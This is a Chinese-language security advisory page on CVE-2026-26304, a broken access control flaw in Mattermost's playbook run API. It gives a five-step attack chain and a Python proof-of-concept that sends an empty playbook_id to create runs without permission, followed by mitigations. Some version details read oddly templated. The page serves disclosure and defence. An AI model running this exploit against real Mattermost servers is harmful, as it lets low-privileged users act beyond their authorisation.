IPBUF安全漏洞报告
English
CVE-2026-26304 CVSS 4.3 中危

CVE-2026-26304 Mattermost playbook run API权限验证缺失漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-26304
漏洞类型
权限验证缺失
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mattermost

相关标签

权限验证缺失访问控制绕过MattermostAPI安全CVE-2026-26304Broken Access ControlOWASP Top 10

漏洞概述

CVE-2026-26304是Mattermost企业协作平台中存在的一个权限验证缺失漏洞。该漏洞影响Mattermost 11.3.x至11.3.0版本以及11.2.x至11.2.2版本。漏洞的根本原因在于Mattermost的playbook run API在处理空playbookId参数时,未能正确验证用户的run_create权限。这允许具有团队成员身份的低权限用户通过playbook run API创建未经授权的runs(运行任务),从而可能访问或操作本应受限的资源。该漏洞的CVSS评分为4.3,属于中等严重程度,攻击向量为网络,认证要求低权限,无需用户交互。虽然该漏洞对机密性和完整性影响较低,且不影响可用性,但仍然可能导致未授权操作和数据泄露风险。Mattermost官方已发布安全公告MMSA-2025-00542,建议受影响用户及时更新至修复版本。

技术细节

该漏洞属于OWASP Top 10中的Broken Access Control(失效的访问控制)类别。在Mattermost的playbook run API实现中,当用户提交包含空playbookId的请求时,服务器端代码未能正确执行权限检查流程。具体而言,API端点应该在创建run之前验证请求用户是否具有run_create权限,但由于代码逻辑缺陷,当playbookId为空字符串时,权限验证步骤被绕过。攻击者只需拥有一个有效的Mattermost账户并属于目标团队,即可构造恶意API请求。通过发送带有空playbookId参数的POST请求到playbook run API端点,攻击者可以在未经适当授权的情况下创建run记录。这种权限绕过可能允许攻击者创建大量未授权的runs,消耗系统资源,或访问与特定playbook关联的敏感工作流程信息。修复方案需要在API请求处理流程的所有代码路径中一致地实施权限验证。

攻击链分析

STEP 1
信息收集
攻击者首先收集目标Mattermost服务器信息,包括服务器URL、有效的用户账户和目标团队的ID
STEP 2
身份认证
攻击者使用有效的API Token或凭据登录Mattermost,获取有效的访问令牌
STEP 3
构造恶意请求
攻击者构造POST请求到/api/v4/playbooks/runs端点,在请求体中设置空字符串的playbook_id参数
STEP 4
发送漏洞利用请求
攻击者发送构造好的请求,由于playbook_id为空,服务器跳过run_create权限验证
STEP 5
创建未授权Run
服务器成功创建run对象,攻击者获得未经授权的系统访问能力

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-26304 PoC - Mattermost Unauthorized Run Creation # Target: Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2 TARGET_URL = "http://target-mattermost-server.com" API_TOKEN = "your_mattermost_api_token" TEAM_ID = "target_team_id" def create_unauthorized_run(): """ Exploit for CVE-2026-26304 This PoC demonstrates how to create unauthorized runs via playbook run API with empty playbookId bypassing run_create permission check. """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Payload with empty playbookId to bypass permission check payload = { "team_id": TEAM_ID, "name": "Unauthorized Run", "playbook_id": "", # Empty playbookId bypasses permission check "description": "This run was created without proper authorization" } endpoint = f"{TARGET_URL}/api/v4/playbooks/runs" try: response = requests.post(endpoint, headers=headers, json=payload, timeout=30) if response.status_code == 201: print("[+] SUCCESS: Unauthorized run created!") print(f"[+] Response: {json.dumps(response.json(), indent=2)}") return True elif response.status_code == 403: print("[-] FAILED: Access denied (vulnerability may be patched)") else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] ERROR: {e}") return False if __name__ == "__main__": print("CVE-2026-26304 PoC - Mattermost Authorization Bypass") print("=" * 60) create_unauthorized_run()

影响范围

Mattermost 11.3.x <= 11.3.0
Mattermost 11.2.x <= 11.2.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制团队成员对playbook功能的访问权限;2) 启用API访问日志并监控异常的run创建请求;3) 实施IP白名单限制;4) 使用Web应用防火墙(WAF)过滤异常的API请求;5) 考虑暂时禁用playbook run API功能直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表